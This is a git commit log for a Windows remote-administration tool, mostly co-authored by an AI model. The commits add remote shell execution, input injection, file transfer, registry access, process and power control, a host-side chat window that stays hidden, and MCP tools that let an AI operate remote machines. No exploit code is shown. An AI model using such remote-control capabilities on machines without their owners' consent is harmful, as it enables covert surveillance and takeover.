The IDD_DIALOG caption was stored as UTF-8 bytes while the .rc file declares #pragma code_page(936) (GBK), so the resource compiler mis-decoded the caption and the client's bottom-right popup showed a garbled title. Convert the caption to GBK to match the declared code page and the rest of the file.

Co-Authored-By: deepseek-v4-pro
2026-10-04 20:10:12 +02:00
yuanyuanxianganddeepseek-v4-pro 6c9fef8793 Feature: Two-way remote chat (远程交谈)
Add a "远程交谈" toolbar button (placed after 连接管理) that sends COMMAND_CHAT(161) to the selected host. The host opens a sub-connection and the new CChatManager replies with TOKEN_CHAT_START(62) to open the server's existing CChat dialog. The host's chat window stays hidden until the first message or a screen-lock command arrives, and it supports server-triggered screen lock/unlock.

Co-Authored-By: deepseek-v4-pro
2026-10-04 19:55:29 +02:00
yuanyuanxianganddeepseek-v4-pro bbdb4104bf Feature: TCP/UDP connection management with force-disconnect
Add a connection-management feature to YAMA: a toolbar button (after MCP)
opens a dialog listing the managed host's TCP/UDP connections, with
right-click force-disconnect for IPv4 TCP rows.

Client: a new CConnectionsManager enumerates connections via iphlpapi
(GetExtendedTcpTable/GetExtendedUdpTable, IPv4+IPv6) and answers the
refresh and kill commands over a sub-connection.

Server: a new CConnectionsDlg (DialogBase) shows the list with sortable
columns and a right-click menu; the title-bar icon reuses the toolbar's
connection icon (res/connections.ico).

Fix byte order found during review: iphlpapi returns an IPv4 address as a
network-order DWORD and the port's low 16 bits in network order, so
storing them raw made the dialog show reversed IPv4 addresses and ports.
The client now stores addresses as network-order bytes and ports as host
order (ntohs), and reverses the conversion on disconnect.

Co-Authored-By: deepseek-v4-pro
2026-10-04 18:23:06 +02:00
yuanyuanxianganddeepseek-v4-pro 8d0f419093 Improve: multi-line keyword input in notification settings
Replace the single-line, semicolon-separated keyword field with a taller
multi-line edit box (with a vertical scrollbar) where each keyword goes on
its own line. The stored format stays semicolon-separated, so existing
notify.ini files remain valid; load/save convert between newlines and
semicolons, trimming each keyword and skipping empty lines.

Also decode the stored matchPattern as UTF-8 when loading the dialog, so
non-ASCII keywords round-trip correctly (matching the CP_UTF8 encoding
used on save).

Co-Authored-By: deepseek-v4-pro
2026-10-04 14:39:38 +02:00
yuanyuanxianganddeepseek-v4-pro f3a05c14b1 Feature: Play remote audio on iPhone via WebAudio + self-hosted Opus WASM
iOS WebKit lacks Media Source Extensions with WebM/Opus, so remote audio
was silent on iPhone Safari/Chrome even though audio frames kept flowing.
Add a Web Audio API fallback path that decodes Opus packets with the
`opus-decoder` WASM library and schedules them onto an AudioContext.

The decoder bundle is now self-hosted — served at /static/opus-decoder.min.js
by both the Go and C++ servers — instead of pulled from a CDN, which was
unreachable from some networks.

Gotcha fixed during bring-up: the unscoped `opus-decoder` build's
`OpusDecoder.decodeFrame` is synchronous and returns {channelData,
samplesDecoded, sampleRate, errors} directly, not a Promise, so it must be
called in try/catch rather than via .then().

Also remove the on-screen diagnostic overlay (audio toast + frame counter)
used while debugging the phone without a console; diagnostics now go to
console.* only.

Co-Authored-By: deepseek-v4-pro
2026-10-03 18:23:10 +02:00
yuanyuanxianganddeepseek-v4-pro d118558eda Fix: skip wasted geo-IP lookup blocking the host double-click tooltip
The online-host double-click handler called IPConverter::GetGeoLocation on
the UI thread before showing the floating tooltip, even when no local IP
database (QQWry/ip2region) was loaded. In that default configuration the
result is never displayed, yet the call issues up to three synchronous HTTP
requests (5s timeout each), delaying the tooltip by a network round trip or
worse.

Only run the lookup when a local database is actually loaded, and memoize
successful results per IP in a process-wide cache inside GetGeoLocation so
the remaining call sites (license activity, host-login fallback) do not
re-query the same IP. The cache uses function-local statics rather than
class members to keep IPConverter's layout unchanged and stay ABI-compatible
with the precompiled PrivateDesktop_Lib.lib QQWry/Ip2Region subclasses.

Co-Authored-By: deepseek-v4-pro
2026-10-03 09:44:01 +02:00
yuanyuanxianganddeepseek-v4-pro 76decec0fe Feature: Add file-transfer speed dialog with multi-language support
Add a novice-friendly "File Transfer Speed" dialog under the Advanced menu
that controls file-transfer speed in both directions without touching
SimplePlugins. Speed is passed through InitFileUpload's existing
chunkSizeKb/sendDurationMs arguments, so the precompiled library stays
untouched. Seven presets run from ~0.3 MB/s up to a new 10 MB/s tier plus an
unlimited tier; the chosen value is stored in [transfer] ChunkKb/DurationMs.

Upload reads THIS_CFG at the master's InitFileUpload (2015RemoteDlg.cpp:2225)
and takes effect on restart. Download is pushed to the client over a new
CMD_FILE_SPEED (252) command, sent from OnOnlineFileManager and
OnOnlineDesktopManager before each session opens, and read by all four client
InitFileUpload call sites via GetTransferSpeed so the process-global refcount
cannot latch a stale speed. All Chinese strings go through LangManager, with
en_US/zh_TW/de_DE entries added for the tier names, format strings and hint
text.

Co-Authored-By: deepseek-v4-pro
2026-10-02 19:57:57 +02:00
yuanyuanxianganddeepseek-v4-pro 9eed43bc8d Feature: Add MCP device management-control tools (kill/window/service/power)
Add P7 management-control tools behind a single McpManage flag (plus
McpReadonly=0): kill_process, operate_window, control_service and
power_action. The write tools run a ready->confirm lifecycle on their
sub-connection, using a new followUp/followUpSent field to tell the two
arrivals of the same TOKEN_*LIST apart; the write command and the follow-up
refresh command go out as two separate Send2Client calls, with a new
WaitSendIdle() (context.h / Server.h) draining the outbound buffer in between
so the same buffer is never WSASend'd concurrently.

McpSettingsDlg gains a "management operations" checkbox (IDC_MCP_MANAGE), the
main toolbar gains an MCP entry button, and en/de/zh-TW strings are synced.
power_action is fire-and-forget over the main connection (no confirmation).

Verified end-to-end against a real Windows 10/VMware client: kill_process
returns remaining:[] and operate_window/control_service return ok:true with
their confirm packet arriving after an HTTP split. Verification surfaced a
prerequisite parser bug, fixed separately in a72e6eb, where HeaderParser
latched m_bShouldUnmask FALSE on HTTP continuation chunks and dropped the
confirm packet.

Co-Authored-By: deepseek-v4-pro
2026-10-01 16:56:30 +02:00
yuanyuanxianganddeepseek-v4-pro a72e6eb391 Fix: keep m_bShouldUnmask latched TRUE once a connection is HTTP
HeaderParser::Parse reset m_bShouldUnmask to FALSE on any non-HTTP
maskType, including the continuation chunk of an HTTP connection whose
read offset is already past the "POST " header. When a large packet
(e.g. a >1460-byte process list) was split by MSS, the second chunk
latched the flag to FALSE, so the next new HTTP-masked packet was no
longer unmasked: CheckHead then read the HTTP header as the flag,
returned FLAG_UNKNOWN/PARSER_FAILED, and the packet was dropped. This
explains "first packet succeeds, subsequent packets vanish", and why
the MFC process dialog went blank after killing a process (the confirm
packet never reached NotifyProc).

Only clear the flag when the connection was not already determined to
be HTTP (initial -1, or already confirmed non-HTTP).

Co-Authored-By: deepseek-v4-pro
2026-10-01 16:18:26 +02:00
yuanyuanxianganddeepseek-v4-pro e9d60e6e23 Feature: Add Shine/HELL protocol selection to share/transfer host
Add a dedicated ShareHostDlg with a "Use Shine protocol" checkbox (default
checked) so the operator can choose Shine (0) or HELL (1) when sharing or
transferring a host. The chosen protocol is appended to the wire payload as a
trailing colon field: "IP:PORT:0/1" for share and "IP:PORT:days:0/1" for
transfer.

The client parses the trailing field from COMMAND_SHARE and
COMMAND_ASSIGN_MASTER, applies it to new connections, and persists it so
auto-share/auto-transfer on restart keeps the same protocol. Old clients
ignore the extra field, and old/missing payloads fall back to -1 (baked-in
HELL), preserving compatibility with existing servers and share_list entries.

Co-Authored-By: deepseek-v4-pro
2026-09-11 16:28:37 +02:00
yuanyuanxianganddeepseek-v4-pro 42df128f62 Feature: Support subpath deployment for Go web UI
Add optional YAMA_WEB_BASE_PATH to mount the whole web UI (index, manifest,
static assets, /health, /api/devices, /ws) under a URL prefix such as
/remoter behind a reverse proxy. index.html now uses a __BASE_PATH__
placeholder substituted at serve time, the PWA manifest start_url is rooted
at the base path, and a mount wrapper redirects the bare prefix to prefix/
and strips it before routing. Include nginx, systemd, and env-file deployment
examples for the subpath setup.

The shared placeholder is also handled by the MFC server, which serves from
the domain root and strips __BASE_PATH__ (to "") so its web remote desktop
URLs stay rooted.

Co-Authored-By: deepseek-v4-pro
2026-09-11 12:48:21 +02:00
yuanyuanxianganddeepseek-v4-pro 32cc7af371 Feature: Add configurable screen-preview quality levels menu
Add a "屏幕预览质量等级 (Screen Preview Quality Levels)" item to the
"高级 (Advanced)" menu that opens a dialog to edit the six preset
PreviewProfile levels (target encode width and JPEG quality) used by the
double-click single-preview and loop-snapshot floating windows. The dialog
edits a working copy in a full grid with per-field validation and a
restore-defaults button; on OK it persists the values to the [preview] INI
section.

ChooseScreenPreviewParams now reads from GetPreviewProfileCfg instead of the
hardcoded GetScreenPreviewProfile table, so preview requests sent after a
change use the configured parameters. LoadPreviewProfilesFromCfg loads the
saved levels at startup, falling back to the built-in defaults. Added
en_US/de_DE/zh_TW translations for the new menu and dialog strings.

Co-Authored-By: deepseek-v4-pro
2026-09-10 14:42:28 +02:00
yuanyuanxianganddeepseek-v4-pro 033ff077ef Feature: Add configurable remote-desktop quality levels menu
Add an "高级 (Advanced)" menu after "其他 (Other)" whose
"远程桌面质量等级 (Remote Desktop Quality Levels)" item opens a dialog to
edit the six preset QualityProfile levels (max FPS, max width, codec
algorithm, bitrate). The dialog edits a working copy in a full grid with
per-field validation and a restore-defaults button; on OK it persists the
values to the [quality] INI section.

The server stays authoritative: LoadQualityProfilesFromCfg loads the saved
levels at startup (falling back to GetQualityProfile defaults), and
ScreenSpyDlg now sends CMD_QUALITY_PROFILES from GetQualityProfileCfg so
new remote-desktop sessions transmit with the configured parameters. Added
en_US/de_DE/zh_TW translations for the menu and dialog strings.

Co-Authored-By: deepseek-v4-pro
2026-09-09 17:13:17 +02:00
yuanyuanxianganddeepseek-v4-pro 0416dadbba Feature: Add language-switch toolbar button and bilingual dialog
Add a 15th toolbar button "Lang/语言" after the Help button so Chinese
readers can switch language without knowing English; it opens the existing
language-select dialog. The dialog title is now bilingual ("切换语言 /
Switch Language") and its label/buttons use Chinese source strings
("语言:", "确定", "取消"), which still localize to en/de via
TranslateDialog. The toolbar bitmap is extended with a globe icon.

Co-Authored-By: deepseek-v4-pro
2026-09-08 16:34:45 +02:00
yuanyuanxianganddeepseek-v4-pro 91238da50d Feature: Add German (de_DE) language support
Add German as the fourth selectable UI language. The new de_DE.ini mirrors
en_US.ini with byte-identical Chinese keys (2028 lines, zero missing
translations, zero key mismatches), so it passes CheckEncoding and appears in
the language list automatically. German values are pure-ASCII transliterations
(ae/oe/ue/ss) because the GBK/CP936 architecture cannot encode umlauts.
LangManager.h now maps de_DE to the display name "Deutsch". Also translated the
seven Chinese value==key gaps that en_US itself left untranslated.

Co-Authored-By: deepseek-v4-pro
2026-09-06 10:33:49 +02:00
yuanyuanxianganddeepseek-v4-pro 221617fe02 Fix: Translate remaining server UI strings missing _TR/_L
Wrap the last untranslated Chinese UI strings so English mode stops showing
raw Chinese. Format strings passed to sprintf/wsprintf and the status-bar
SendMessageTimeout calls now go through _TRF, and the CString/PostMessage
literals plus a few member-initializer and Compare values go through
_TR/_L. Covers the wallet validation message, the SOCKS proxy connection
log lines, the file-manager status bar, and the machine-info progress
messages.

Add the 24 corresponding entries to lang/en_US.ini and lang/zh_TW.ini
(GBK), keeping the escaped-format-string key style. The Yes/No/Desktop/
Recent keys already existed, so the BuildDlg and CFileManagerDlg compare
fixes reuse them.

Co-Authored-By: deepseek-v4-pro
2026-09-06 09:39:59 +02:00
yuanyuanxianganddeepseek-v4-pro dd845823b6 Feature: Add get/set clipboard buttons to remote desktop toolbar
Add two toolbar buttons — get clipboard (letter C) and set clipboard (letter P) —
after the screenshot button and before the minimize button, so clipboard sync stays
reachable in fullscreen mode where the system menu cannot be opened.

The buttons reuse the existing IDM_GET_CLIPBOARD / IDM_SET_CLIPBOARD system-menu
handlers by posting WM_SYSCOMMAND to the parent. The toolbar button count grows
from 16 to 18, and the slide/animation dimensions are widened from 640 to 720.
Letter C/P icons and Simplified-Chinese source strings ("获取剪贴板", "设置剪贴板")
are added, along with English and Traditional-Chinese translations.

Co-Authored-By: deepseek-v4-pro
2026-09-03 13:29:39 +02:00
yuanyuanxiang b41b27bfe4 Release v1.3.9 2026-09-02 19:13:40 +02:00
yuanyuanxianganddeepseek-v4-pro 6bcd593b6d Feature: Add upload_file MCP tool (V2 protocol, main-connection upload)
Implement the P2 upload_file tool to push a local file or directory from the
master to an online Windows host over the existing V2 file-transfer protocol.
The server drives FileBatchTransferWorkerV2 synchronously on the main
connection through a headless callback, reuses the list_files chain for the
overwrite pre-check, and is gated by McpFileTransfer=1 plus McpReadonly=0.

The client main connection never initialized the file-transfer module, so
g_status stayed 0 and RecvFileChunkV2 silently dropped every chunk, truncating
uploads to zero bytes. Add a once-per-process lazy InitFileUpload in the
COMMAND_SEND_FILE_V2 handler that mirrors the FileManager init; the destructor
deliberately does not Uninit so g_status remains 1 across reconnects.

Update the design doc to record the client-side change and correct the
upload_file description to state that sha256 is not returned (V2 has no
receiver-to-sender ACK; integrity is checked client-side and logged only).

Co-Authored-By: deepseek-v4-pro
2026-08-31 22:43:16 +02:00
yuanyuanxianganddeepseek-v4-pro 5c77f5ce14 Feature: Add download_file MCP tool (V2 protocol, SHA-256 verified)
download_file pulls a remote file or directory back to the controller over
the existing V2 file-transfer protocol. It reuses COMMAND_LIST_DRIVE to open
the file-manager sub-link, then sends CMD_DOWN_FILES_V2 so the Windows client
streams COMMAND_SEND_FILE_V2 chunks and a per-file COMMAND_FILE_COMPLETE_V2
SHA-256 checksum over its own authenticated sub-connection. The server routes
those two packet types into a new per-device FileTransferSession whenever a
download is pending, so the headless path never opens the GUI progress dialog;
the C2C and existing GUI branches are left untouched.

Files are written under a normalized local_dir, and every chunk filename is
resolved and verified to stay inside local_dir (directories included) to block
.. traversal; overwrite=false skips existing files and counts them as skipped.
One transfer per host (mutually exclusive with the one-shot pending registry),
a dedicated McpFileTransfer=0-by-default gate surfaced in the settings dialog,
and audit logging complete the change. upload_file remains future work.

Co-Authored-By: deepseek-v4-pro
2026-08-30 13:19:51 +02:00
yuanyuanxianganddeepseek-v4-pro ac2855198b Fix: terminal_exec sentinel timeout on numeric timeout_ms and silent commands
Two independent bugs made MCP terminal tools time out despite the command
finishing.

First, timeout_ms is declared integer in the tool schemas but was parsed
through GetStringArg, which only reads JSON strings. A numeric value fell
through to the 20s default, so callers asking for a longer wait were cut off
at 20s. exec_command, terminal_open, terminal_exec and remote_open now parse
timeout_ms through GetIntArg, which accepts both JSON numbers and digit
strings, keeping the 1..600000 range guard.

Second, FindSentinel treated the __MCP_DONE_<nonce>__ marker as a line start
only when preceded by \n. Commands that produce no output (ping > nul,
Start-Sleep, tar -czf) echo their command line ending in \r, so the marker
never matched and the wait ran to timeout even though the command had
completed. The check now also accepts \r.

Co-Authored-By: deepseek-v4-pro
2026-08-30 13:19:22 +02:00
yuanyuanxianganddeepseek-v4-pro 52b4afb8cf Improve: three-state online host list sorting
Clicking the same column header now cycles ascending -> descending ->
restore default order instead of only toggling direction. The default order
is the host connection order, reconstructed by sorting on online time
(descending alive time) so it no longer depends on the in-memory append
order surviving an earlier sort. The reset preference is persisted as an
empty value so it survives a restart.

Co-Authored-By: deepseek-v4-pro
2026-08-29 16:29:49 +02:00
yuanyuanxianganddeepseek-v4-pro 35dc2d89a0 Fix: hold IoRefCount across deferred heartbeat update to prevent use-after-free
Frequent standby-park churn (duplicate logins sharing one clientID) was
crashing the server with 0xC0000409 (STACK_BUFFER_OVERRUN). The heartbeat
handler posts the raw CONTEXT_OBJECT pointer via PostMessageA
(WM_UPDATE_ACTIVEWND) without holding a reference, so RemoveStaleContext
could recycle the context back to the pool and reuse it before the UI
thread consumed the queued message. UpdateActiveWindow then read a
stale/recycled object, and the unguarded Authorization memcpy overflowed
the 200-byte HeartbeatACK field and clobbered the stack cookie.

Hold the object's IoRefCount across the deferred message: fetch_add
before PostMessageA (with rollback on failure) and a paired fetch_sub in
UpdateUserEvent after UpdateActiveWindow returns. RemoveStaleContext
already waits for IoRefCount == 0 before MoveContextToFreePoolList, so
the object is now guaranteed to stay alive for the whole deferred call.

Also bound the three memcpy sites (two Signature[64], one
Authorization[200]) with explicit truncation so an unexpectedly long
signature or license can no longer overflow its fixed buffer in Release
builds, where ASSERT is a no-op.

Co-Authored-By: deepseek-v4-pro
2026-08-29 06:44:27 +02:00
yuanyuanxianganddeepseek-v4-pro d99122b25f Fix: Window manager view check reads stale state after restore
The window manager's "view" action checks the window state against the
ItemData.Data[2] field populated when the list was built. The right-click
show/hide/maximize/minimize handlers updated only the list control's display
text via SetItemText, leaving Data[2] stale. After restoring a minimized
window, viewing still reported "该窗口已最小化" until the dialog was reopened.

Sync Data[2] alongside SetItemText in all four handlers so the view check and
the status-column sort both see the current state.

Co-Authored-By: deepseek-v4-pro
2026-08-26 21:24:07 +02:00
yuanyuanxianganddeepseek-v4-pro d55d40e7a2 Feature: Exclude human Web viewing from MCP remote control sessions
Complete the bidirectional mutual exclusion between MCP remote control
and human Web viewing (§8.2). Direction 1 (remote_open rejected while a
human session holds the screen sub-connection) already existed; this adds
direction 2: a human Web viewer is now rejected while an MCP session owns
the device.

Add a m_McpTriggeredDevices marker (mirroring m_MfcTriggeredDevices) that
is set when an MCP session is created (BeginScreenCtrlOpen) and cleared at
every session-erasure site (CloseScreenCtrlSession, SweepIdleScreenCtrl,
OnScreenControlClosed, EndScreenCtrlAction), so the marker cannot go stale
and permanently block humans. HandleConnect checks IsMcpTriggered before
mutating client state or starting the remote desktop.

Co-Authored-By: deepseek-v4-pro
2026-08-25 14:14:26 +02:00
yuanyuanxianganddeepseek-v4-pro 25a6e2d07a Feature: Add remote_clipboard MCP tool
Add the remote_clipboard tool to the MCP remote control surface, writing
text to the remote host's clipboard via COMMAND_SCREEN_SET_CLIPBOARD
through the established screen sub-connection. Input UTF-8 is converted
to GBK (ToAnsi, code page 936) to match the client's CF_TEXT/ANSI
clipboard path, mirroring the existing CScreenSpyDlg::SendServerClipboard
packet format. Pasting remains a separate step (remote_keyboard Ctrl+V).

Known MVP limitation, documented in the tool description: non-GBK
characters (e.g. emoji) are replaced by '?' on the CF_TEXT path.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:45:51 +02:00
yuanyuanxianganddeepseek-v4-pro 18259b8526 Feature: Add remote_mouse MCP tool
Add the remote_mouse tool to the MCP remote control surface, injecting
mouse events (move / down / up / click / right_click / middle_click /
drag / scroll) into an established remote_open session. Normalized 0..1
coordinates are mapped to physical pixels via the session's captured
resolution and clamped to screen bounds. Scroll follows the existing web
console's wheel sign convention (positive delta scrolls down) and is
vertical-only.

Extract BuildMouseMsg64 into WebService.h as a shared helper, reused by
both the web console's HandleMouse and the new MCP handler so the two
injection paths cannot drift.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:38:09 +02:00
yuanyuanxianganddeepseek-v4-pro f04d892ac8 Feature: Add remote_keyboard MCP tool (key_down / key_up / key_press / type)
Implement milestone M2b of the MCP remote-control design: inject keyboard
events through an existing screen sub-connection.

- Extract the MSG64 keyboard construction from WebService::HandleKey into a
  shared inline BuildKeyMsg64 helper in WebService.h, and have HandleKey use
  it (behaviour-preserving) so the Web and MCP paths cannot drift.
- Add BuildRemoteKeyboard with four actions: key_down / key_up / key_press
  (key name -> VK via MapKeyNameToVk, plus CTRL/ALT/SHIFT/WIN modifiers) and
  type (per-character VkKeyScanA mapping, ASCII only, newline/tab -> Enter/Tab).
  The batch is sent as one [COMMAND_SCREEN_CONTROL][MSG64*N] packet over the
  screen sub-connection under the existing Begin/EndScreenCtrlAction busy
  discipline, then audited via WM_SHOWERRORMSG.

Non-ASCII text is rejected (-32602) and must go through remote_clipboard +
Ctrl+V (milestone M4), matching the design's clipboard path for CJK input.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:22:00 +02:00
yuanyuanxianganddeepseek-v4-pro c844ba7614 Fix: Client misparses screen-control batches when record count is a multiple of 7
ProcessCommand chose the MSG record size by testing "ulLength % 28 == 0"
before "% 48 == 0". The two sizes' least common multiple is 336 (7*48 =
12*28), so a 48-byte batch whose record count is a multiple of 7 was
misclassified as 28-byte MSG32 records, shifting every field and garbling
(or silently dropping) injected input.

Check "% 48 == 0" first. The modern controller always emits 48-byte MSG64;
the 28-byte MSG32 path is legacy 32-bit-controller compatibility and is only
reached when 48 does not divide evenly. This is the first feature (MCP
remote_keyboard "type", and the upcoming remote_mouse drag) to emit
multi-record batches, which is what made the latent bug reachable.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:21:54 +02:00
yuanyuanxianganddeepseek-v4-pro 09018e2b4d Improve: Harden MCP screen-ctrl session state machine for injection
Add the busy/closed flags to ScreenCtrlSession plus BeginScreenCtrlAction
/ EndScreenCtrlAction, mirroring the terminal's busy discipline so an
in-flight injection cannot race with session teardown (review finding #6).

While an injection is in flight (busy=true), OnScreenControlClosed marks the
session closed instead of erasing it (the injection thread, which still holds
subCtx, cleans up in EndScreenCtrlAction), SweepIdleScreenCtrl skips it, and
CloseScreenCtrlSession defers the erase. The subCtx is looked up under
m_ScreenCtrlMutex and the injection is sent outside the lock, matching the
established terminal pattern; the screen sub-connection's CONTEXT_OBJECT::Send2Client
already serializes internally via SendLock.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:04:05 +02:00
yuanyuanxianganddeepseek-v4-pro 6045baadb8 Feature: Add MCP remote_open/remote_close remote control sessions
Add M1 of MCP remote control (docs/Mcp_RemoteControl_Design.md): the
remote_open / remote_close tools plus the ScreenCtrlSession state machine.

remote_open establishes a hidden screen sub-connection by reusing
WebService::StartRemoteDesktop (COMMAND_SCREEN_SPY -> CScreenSpyDlg ->
RegisterScreenContext), polls for the sub-connection plus its physical
resolution (TOKEN_BITMAPINFO -> NotifyResolutionChange -> GetScreenSize),
then records the session (single device, single session, reverse-mapped
subCtx for OfflineProc cleanup) and returns {session_id, screen_w,
screen_h}. remote_close validates session_id and tears down the
sub-connection idempotently. A McpRemoteControl settings checkbox (default
off, requires McpReadonly=0) gates the tools; every open/close is audited
via WM_SHOWERRORMSG.

Gating: multi-monitor hosts are rejected with -32008 (phase 1 supports only
single monitor, where Observe=main screen and Act=virtual desktop coincide);
the monitor count comes from the client heartbeat RES_RESOLUTION ("N:W*H").

Known limitations (deferred to the injection milestones): mutual exclusion
with human remote-desktop viewing is one-directional in M1 (a human who
joins during an MCP session can tear it down on disconnect), and subCtx is
not yet dereferenced so no liveness re-check is needed until
remote_mouse/remote_keyboard.

Co-Authored-By: deepseek-v4-pro
2026-08-25 12:55:52 +02:00
yuanyuanxianganddeepseek-v4-pro 84e3565de1 doc: Add remote control MCP design doc
Add docs/Mcp_RemoteControl_Design.md, the reference design for an
screenshot-driven AI remote-control feature: the existing get_screenshot for
observation plus remote_open/remote_close/remote_mouse/remote_keyboard for
input injection, reusing COMMAND_SCREEN_PREVIEW_REQ and COMMAND_SCREEN_CONTROL
+ MSG64. Coordinates are normalized (0..1) and mapped server-side to physical
pixels; injection runs over the screen sub-connection opened by
WebService::StartRemoteDesktop's hidden CScreenSpyDlg. Includes a
chat-on-behalf experiment case with clipboard-encoding and window-capture
notes.

Also fold in the get_audit_log encoding correction for
docs/Mcp_Terminal_Design.md, so the two doc changes ship as one commit.

Co-Authored-By: deepseek-v4-pro
2026-08-24 21:51:12 +02:00
yuanyuanxianganddeepseek-v4-pro 70dbb6b255 Feature: Add persistent remote terminal MCP tools
Add terminal_open / terminal_exec / terminal_close so an AI can hold one
shell session per Windows host and run a sequence of commands with cwd and
environment preserved, instead of the one-shot exec_command.

The persistent terminal is a separate full-command write capability gated by
McpTerminal (default off) plus McpReadonly=0, with no whitelist and full
audit. One device maps to one terminal session via the shared m_TermSessions
map; idle sessions are swept after 300s. terminal_exec rejects commands that
contain & or | (they corrupt the sentinel control-operator chain) as well as
control characters.

Also harden exec_command and terminal_exec against newline/CR injection, fix a
dangling subCtx after an abrupt shell disconnect, and refresh lastActiveAt on
command completion. Add en/zh-TW translations for the new UI strings and a
design document covering both exec_command and the persistent terminal.

Co-Authored-By: deepseek-v4-pro
2026-08-24 19:11:16 +02:00
yuanyuanxianganddeepseek-v4-pro 0ddbc1aced Feature: Add exec_command MCP tool
Add a one-shot exec_command MCP tool that runs a command on a remote
Windows host and returns stdout plus exit code, reusing the Web terminal
link (main-connection COMMAND_SHELL, a shell sub-connection, and a
sentinel command line located via rfind to tolerate ConPTY echo).

The sentinel marker is embedded in the command line ConPTY echoes back,
so it is only treated as hit when it starts a line (preceded by a newline
or the buffer start); this keeps the echoed marker from being mistaken
for the real sentinel when the echo packet arrives before the output.

Execution is gated at Web remote-desktop sensitivity: a read-only mode
(McpReadonly, default on, hides the tool) and a command whitelist
(McpCmdWhitelist) with built-in read-only prefixes. Shell metacharacters
(& | < > ^) are rejected before whitelist matching, and each execution is
recorded in the server audit log.

Extend the MCP settings dialog with the read-only checkbox and a
multi-line whitelist box (commas and newlines both accepted, normalized
to a comma-separated list on save), and add English and Traditional
Chinese mappings for the new UI and audit-log strings.

Co-Authored-By: deepseek-v4-pro
2026-08-23 23:23:20 +02:00
yuanyuanxianganddeepseek-v4-pro 8bd6f3b60a Feature: Add list_registry MCP tool
Add a read-only list_registry MCP tool for querying a remote Windows
host's registry. An empty path returns the five root keys; a path such as
HKEY_LOCAL_MACHINE plus subkeys returns that key's immediate subkeys and
values (name, type, and formatted data).

Client side: enumerate with KEY_READ instead of KEY_ALL_ACCESS and map the
full value-type set (REG_SZ, REG_DWORD, REG_BINARY, REG_EXPAND_SZ,
REG_MULTI_SZ, REG_QWORD, REG_NONE) so unknown types are no longer
mis-reported as REG_SZ. The registry manager now always sends both the
TOKEN_REG_PATH and TOKEN_REG_KEY packets (an empty packet when a part is
empty), making the two-packet reply deterministic for the server.

Server side: add the three-phase flow (COMMAND_REGEDIT, COMMAND_REG_FIND,
then PATH plus KEY) with per-host pending state, parse the fixed-width
wire format with bounds checks, format value data for JSON, and guard
registry paths against exceeding MAX_PATH to protect the client stack.

Co-Authored-By: deepseek-v4-pro
2026-08-23 10:37:55 +02:00
yuanyuanxianganddeepseek-v4-pro 8815c4f896 Feature: Add get_audit_log MCP tool
Expose the server main-window audit log (host online/offline, operation
results, alerts) as a read-only, no-arg, in-memory MCP tool. The log lives
in m_CList_Message, a CListCtrl that is only safe to touch on the UI
thread, so add a thread-safe mirror m_MessageLog (guarded by m_cs) and keep
it in sync at the four item-mutation sites: ShowMessage, OnShowErrMessage,
OnMsglogDelete and OnMsglogClear. The tool reads the mirror directly under
m_cs and returns up to MAX_MESSAGE_COUNT (1000) entries, newest first.

Co-Authored-By: deepseek-v4-pro
2026-08-21 20:33:59 +02:00
yuanyuanxianganddeepseek-v4-pro 8de5c00a39 Improve: Park duplicate online connections as standby, promote on old removal
Replacing the old connection on a duplicate login made the client
reconnect in a tight loop. Instead, park the new connection in a standby
list keyed by clientID and promote it into the main host list only after
the old connection is removed by heartbeat timeout or disconnect.

Fix heartbeat attribution so a parked standby refreshes its own
last-heartbeat time rather than the main connection's, otherwise the main
never times out and the standby can never take over. Gate the offline
notification on an actual removal with no promoted standby to avoid a
spurious "host offline" when takeover happens. Skip promoting a standby
already marked removed, and reuse the normal login sign/settings path when
a standby is promoted.

Co-Authored-By: deepseek-v4-pro
2026-08-21 19:50:11 +02:00
yuanyuanxiang d359148841 doc: Add the "docs\macOS_Support_Design.md" to git 2026-08-21 14:15:31 +02:00
yuanyuanxiangandClaude Opus 4.8 11e8b122fe Fix: Client log dialog stops updating past edit-control default limit
The Win32 EDIT control caps text at ~32K/64K chars by default, so the
client log dialog silently stopped accepting appends long before the
512KB truncation logic could run. Call SetLimitText(0) in both
CClientLog and CActivityDialog to lift the cap.

Also unify newline handling in Logger: each entry now ends with exactly
one '\n' at the source, so the in-memory ring-buffer dump (used by the
TCP log query) splits into lines correctly instead of relying on every
Mprintf caller ending its format with '\n'. writeToFile drops the extra
std::endl accordingly.

Additionally fix a CFont leak in CClientLog::OnInitDialog by moving the
font to a member.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-08-20 17:54:33 +02:00
yuanyuanxianganddeepseek-v4-pro 0a1ecfc4ab Improve: Show host remark instead of IP in remote desktop dialog titles
When an online host has a remark set in the client list, use it in place of
the IP in the remote desktop ("远程桌面控制") and virtual screen ("远程虚拟屏幕")
dialog titles, falling back to the IP when no remark is present.

Add a GetTitleHostName() helper to both dialogs. CScreenSpyDlg resolves the
remark through its parent dialog's client map, while CHideScreenSpyDlg uses
the global g_2015RemoteDlg pointer; each falls back to m_IPAddress when the
host has no remark.

Co-Authored-By: deepseek-v4-pro
2026-08-20 16:36:30 +02:00
yuanyuanxianganddeepseek-v4-pro c08315cd79 Fix remote desktop cursor cross-contamination across dialogs
The view-mode "forbidden" cursor was applied with SetClassLongPtr(GCLP_HCURSOR),
which mutates the cursor for the whole window class instead of the single dialog
instance. Opening a second remote-desktop dialog without remote control overwrote
that shared class cursor with IDC_NO, so the already-controlled dialog also began
showing the forbidden icon even though it remained operable.

Move the view-mode cursor decision into OnSetCursor, which Windows routes per
window, and remove the now-unused class-cursor assignments. Remote-control mode
and the remote cursor-shape path are left unchanged.

Also drop the dead m_hRemoteCursor member and the leftover GetIconInfo block
(which leaked hbmMask/hbmColor in ScreenSpyDlg), plus the now-unreferenced
m_bMouseTracking flag.

Co-Authored-By: deepseek-v4-pro
2026-08-20 16:26:12 +02:00
yuanyuanxianganddeepseek-v4-pro 5611ba621c Feature: Add list_services and get_client_log MCP tools
Add the two P2d read-only MCP tools, both one-shot sub-links (mode A') on
the existing single-flight pending registry.

list_services sends COMMAND_SERVICES; the client's CServicesManager emits
TOKEN_SERVERLIST on sub-link creation, parsed as 5 null-terminated fields per
record (display_name/service_name/binary_path/status/start_type) with
zero-padding termination. Services are Windows-only, so LNX/MAC hosts get
-32005 up front instead of a 20s timeout.

